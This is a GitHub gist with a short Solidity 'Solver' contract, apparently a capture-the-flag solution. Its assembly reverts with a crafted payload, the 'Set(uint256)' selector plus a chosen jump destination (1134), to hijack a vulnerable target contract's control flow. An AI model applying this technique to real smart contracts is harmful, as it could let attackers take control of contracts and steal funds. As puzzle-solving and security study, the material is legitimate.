Skip to content

Instantly share code, notes, and snippets.

@wadealexc
Created June 29, 2018 19:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save wadealexc/3e15fc5342dcfb6e04a1ab8b0c9fb011 to your computer and use it in GitHub Desktop.
Save wadealexc/3e15fc5342dcfb6e04a1ab8b0c9fb011 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.23;
contract Solver {
bytes4 internal constant SEL = bytes4(keccak256('Set(uint256)'));
function execute(address) public pure {
// constants are not accessible in assembly
bytes4 sel = SEL;
assembly {
// Store sel in memory @ 0x0
mstore(0, sel)
// Store 1134 (our jumpdest) in memory, just after sel
mstore(0x4, 1134)
// Revert exactly 0x24 bytes to the caller, starting at memory position 0x0
revert(0, 0x24)
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment